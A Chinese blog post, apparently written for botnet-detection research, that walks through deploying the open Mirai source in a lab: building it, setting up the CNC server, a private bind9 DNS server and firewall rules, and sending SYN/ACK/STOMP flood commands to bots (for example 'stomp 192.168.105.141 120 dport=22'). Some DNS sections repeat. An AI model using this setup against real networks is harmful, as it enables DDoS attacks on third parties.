开源代码mirai环境初步搭建

2019-04-14 | botnet检测 | 阅读数 1157 | 2,636

在实验室的内网环境里搭建了mirai的bot，在公网IP上搭建了cnc服务器。目前可以通过Telnet登陆到cnc服务并下发命令给内网的bot，让它们对指定IP的某个端口进行ddos攻击。其实步骤也不多，但是网上很多教程说的不是特别清楚，导致中间踩了好多坑才搭好。难点主要在搭建自己的DNS解析服务器以及Telnet登陆到cnc服务器，还有一些小问题就是有些需要传输数据的端口默认是关闭的，需要注意开启一下。

github源码

https://github.com/jgamblin/Mirai-Source-Code/

框架介绍

Requirements（原作者写的）

Bare Minimum

2 servers: 1 for CNC + mysql, 1 for scan receiver, and 1+ for loading

Pro Setup (my setup)

2 VPS and 4 servers

- 1 VPS with extremely bulletproof host for database server
- 1 VPS, rootkitted, for scanReceiver and distributor
- 1 server for CNC (used like 2% CPU with 400k bots)
- 3x 10gbps NForce servers for loading (distributor distributes to 3 servers equally)

解释

mirai作为一个僵尸网络，最核心的部分就是cnc控制端了，用来统计连接上的bot数量，创建用户，以及给bot发命令等行为。因此cnc就相当于是mirai的大脑，作者为了隐蔽cnc服务器所在的IP地址，让bot通过解析域名的方式获取到cnc服务器的IP，然后连接上去。但我是在实验室的内网里面做实验的，所以我的bot都是位于内网，cnc放在了公网。又因为我没有域名，所以还需要在实验室内部的某个机器上搭建一个自己的DNS解析服务器，用来提供域名解析服务，将我自己设置的某个域名作为cnc的域名，解析给所有的bot。

我自己在实验室内网上跑了一下mirai的代码，目前做到的是：

（1）bot程序可以通过自己设置的DNS解析获取到cnc的IP地址，bot可以连接到cnc；

（2）内网的机器通过telnet可以连接到公网上运行的cnc端，输入用户名和密码后就可以登陆进去；

（3）手动在多个内网的虚拟机上运行mirai.dbg程序，也就是多个bot，都可以连接到cnc端；在cnc端也可以看到正确的bot数量；

（4）cnc端下达攻击命令后，bot都可以收到命令并执行ack攻击之类的攻击行为。

还存在一些没做到的地方：

（1）bot的扫描段开启之后暴力扫描机器这部分没有成功破解到的机器；

（2）loader服务器的配置还不明白；

（3）bot感染新bot这部分没有做到，我的bot都是自己手动开启的。

我的服务器架构

cnc服务器（主控服务器）

把cnc服务器放在公网比较方便的一点是，搭建好了bot环境后，自己随便在哪个机器都可以登录到cnc端，通过用户名和密码的验证之后就可以发攻击命令给bot们了。

w.x.y.z (为了安全起见，保密)

DNS解析服务器

192.168.2.136

loader服务器(还没有部署)

192.168.105.127

bot需要设置的

- 主控服务器域名： `www.mytang.com`
- Loader服务器域名： `www.loader.com`

在bot的源码中[resolv.c]要修改域名解析服务器为自己搭建的bind9解析服务器所在IP。

cnc服务器需要设置的

管理员用户名：mirai-user

登录密码：mirai-pass

mirai搭建准备

1、 源码下载地址：https://github.com/jgamblin/Mirai-Source-Code

```
1   下载命令： git clone https://github.com/jgamblin/Mirai-Source-Code
```

2、下载依赖的库

. 安装gcc编译器：sudo apt-get install gcc

.安装编译环境：sudo apt-get install build-essential

. 安装go语言： sudo apt-get install golang

. 安装内存调试工具electric-fence： sudo apt-get install electric-fence

. 安装数据库： sudo apt-get install mysql-server mysql-client（安装时需要设置数据库密码要记住）

[坑1] mysql安装时没有提示输入密码 安装好后进不了mysql

查看sudo vim /etc/mysql/debian.cnf 这里保存了安装时系统自己设置的用户名和密码

```
1   # Automatically generated for Debian scripts. DO NOT TOUCH!
2   [client]
3   host     = localhost
4   user     = debian-sys-maint
5   password = xxxxxxx
6   socket   = /var/run/mysqld/mysqld.sock
7   [mysql_upgrade]
```

```
host     = localhost
user     = debian-sys-maint
password = Jhr3w56TlizV0D0w
socket   = /var/run/mysqld/mysqld.sock
~
```

mysql -udebian-sys-maint -pxxxxxxx mirai 输入之后可以登录进数据库了

配置DNS服务器

由于僵尸机器是通过解析域名来得到cnc服务的地址的，所以我在台式机192.168.2.136安装了bind9，搭建局域网内的dns解析服务器。

mytang@mytang-QiTianM610-D529:/etc

其中db.mytang.com是为了我需要解析的域名而新加的文件 内容为：

```
; BIND data file for local loopback interface
;
$TTL    604800
@       IN      SOA     mytang.com. root.mytang.com. (
                              2         ; Serial
                         604800         ; Refresh
                          86400         ; Retry
                        2419200         ; Expire
                         604800 )       ; Negative Cache TTL
;
@       IN      NS      mytang.com.
www     IN      A       124.193.****.****
@       IN      AAAA    ::1
```

在named.conf.default-zones结尾加上：

```
zone "mytang.com"{
        type master;
        file "/etc/bind/db.mytang.com";
};
```

重启bind9： sudo /etc/init.d/bind9 restart

只配置了域名解析到ip这部分的功能 。而且还得在/etc/resolv.conf里面增加nameserver 192.168.2.136

[坑2]重启bind9之后在本机可以通过

> nslookup www.mytang.com 192.168.2.136

查看，验证dns可以解析了。但是在192.168.105.127虚拟机上面无法解析 报的错误是超时。后来发现是防火墙配置只让53端口的input被接受了 没有accept53端口的OUTPUT 。除了tcp 还得设置udp的。(但是重启之后就又要重新设置了)

DNS同时占用TCP和UDP的53号端口。因为查询很频繁，使用UDP报文给服务器带来的负担小，所以查询的时候使用的是UDP报文。主副DNS进行区域传送的时候，用TCP，因为要保证数据的准确性。

> iptables -A OUTPUT -p tcp –dport 53 -j ACCEPT
> iptables -A INPUT -p tcp –dport 53 -j ACCEPT
> iptables -A OUTPUT -p udp –dport 53 -j ACCEPT
> iptables -A INPUT -p udp –dport 53 -j ACCEPT

输入sudo /etc/init.d/bind9 restart 重启bind9 然后可以查询到了。

[坑3]bind9设置的域名不能带下划线之类的符号

配置主控端cnc

基本参考https://www.jianshu.com/p/d16ee2cbe1e7 进行配置 编译cnc文件夹下面的go语言编写的代码。

[坑4]作者留了一个大坑 /Mirai-Source-Code/mirai/debug/目录下面的cnc文件是编译之后生成的可执行文件

但是必须在/Mirai-Source-Code/mirai目录下使用./debug/cnc 命令运行

如果在/debug目录下执行./cnc 程序可以运行 但是当通过telnet远程连接到cnc服务器的时候连接会在连上的一瞬间就断开。

原因

ubuntu@ubuntu16:~/Mirai-Source-Code/mirai$ ls
bot build.sh cnc debug prompt.txt release tools

prompt.txt这个文件在mirai目录下 但是cnc源代码中：

headerb, err := ioutil.ReadFile(“prompt.txt”)

因此当我们需要运行debug目录下的文件的时候，由于debug目录下没有”prompt.txt” ，所以会出错。

[坑5] telnet无法启动

原因：防火墙没有设置23端口

```
iptables -A INPUT -p tcp --dport 23 -j ACCEPT
iptables -A INPUT -s 127.0.0.1 -d 127.0.0.1 -j ACCEPT
iptables -L -n   查看防火墙设置/bind$ ls
bind.keys  db.255    db.root            named.conf.default-zones  rndc.key
db.0       db.empty  db.mytang.com  named.conf.local          zones.rfc1918
db.127     db.local  named.conf         named.conf.options
```

其中db.mytang.com是为了我需要解析的域名而新加的文件 内容为：

```
;
; BIND data file for local loopback interface
;
$TTL    604800
@       IN      SOA     mytang.com. root.mytang.com. (
                              2         ; Serial
                         604800         ; Refresh
                          86400         ; Retry
                        2419200         ; Expire
                         604800 )       ; Negative Cache TTL
;
@       IN      NS      mytang.com.
www     IN      A       124.193.****.****
@       IN      AAAA    ::1
```

在named.conf.default-zones结尾加上：

```
zone "mytang.com"{
        type master;
        file "/etc/bind/db.mytang.com";
};
```

只配置了域名解析到ip这部分的功能 。而且还得在/etc/resolv.conf里面增加nameserver 192.168.2.136

[坑6]重启bind9之后在本机可以通过

> nslookup www.mytang.com 192.168.2.136

查看，验证dns可以解析了。但是在192.168.105.127虚拟机上面无法解析 报的错误是超时。后来发现是防火墙配置只让53端口的input被接受了 没有accept53端口的OUTPUT 。除了tcp 还得设置udp的。(但是重启之后就又要重新设置了) DNS同时占用TCP和UDP的53号端口。因为查询很频繁，使用UDP报文给服务器带来的负担小，所以查询的时候使用的是UDP报文。
主副DNS进行区域传送的时候，用TCP，因为要保证数据的准确性。

```
iptables -A OUTPUT -p tcp –dport 53 -j ACCEPT
iptables -A INPUT -p tcp –dport 53 -j ACCEPT
iptables -A OUTPUT -p udp –dport 53 -j ACCEPT
iptables -A INPUT -p udp –dport 53 -j ACCEPT
```

输入sudo /etc/init.d/bind9 restart 重启bind9 然后可以查询到了。

mirai运行流程

首先在124.193.xxxx.xxxx开启cnc服务程序；

然后通过telnet 124.193.xxxx.xxxx来登录到cnc主控；

然后开启DNS服务器192.168.2.136的23端口；

然后在bot机器上运行mirai.dbg程序，在cnc端显示bot数量；

cnc下达命令给bot 开始攻击。

一些常用的运行指令在下面整理了一下，方便查阅。

常用指令

后台运行mirai的cnc程序

```
sudo nohup ./debug/cnc
```

检查端口对应的进程

```
sudo netstat -napt|grep 23
```

查看端口的流量

```
sudo tcpdump not src host 192.168.2.136 and dst port 22
```

cnc服务器所在的机器打开Telnet的23端口

```
sudo iptables -A INPUT -p tcp –dport 23 -j ACCEPT
sudo iptables -A OUTPUT -p tcp –dport 23 -j ACCEPT
sudo iptables -A INPUT -s 127.0.0.1 -d 127.0.0.1 -j ACCEPT
sudo iptables -A OUTPUT -s 127.0.0.1 -d 127.0.0.1 -j ACCEPT
```

dns解析服务器重启之后开启53端口

```
iptables -A OUTPUT -p tcp –dport 53 -j ACCEPT
iptables -A INPUT -p tcp –dport 53 -j ACCEPT
```

> iptables -A OUTPUT -p udp –dport 53 -j ACCEPT
> iptables -A INPUT -p udp –dport 53 -j ACCEPT

攻击尝试

syn攻击

对应的函数为attack_tcp.c中的attack_tcp_syn函数

ack攻击

对应的函数为attack_tcp.c中的attack_tcp_ack

stomp攻击

对应的函数为attack_tcp.c中的

一开始攻击失败的原因：把持续时间那个参数当成了时间间隔，设置的太小了；攻击的端口没有开放，后来就改成了指定22端口；debug版本里面while循环有一个break，只攻击一次就跳出来了。

> stomp 192.168.105.141 120 dport=22
> stomp 192.168.105.141 120 dport=22

攻击成功之后可以在对应机器上查看端口流量：

> sudo tcpdump not src host 192.168.2.136 and dst port 22

这里过滤掉的是我台式机ssh连接产生的流量。

----------本文结束🐾感谢您的阅读----------

打赏

botnet

‹ algolia搜索too big size报错 使用virustotal的api进行URL扫描 ›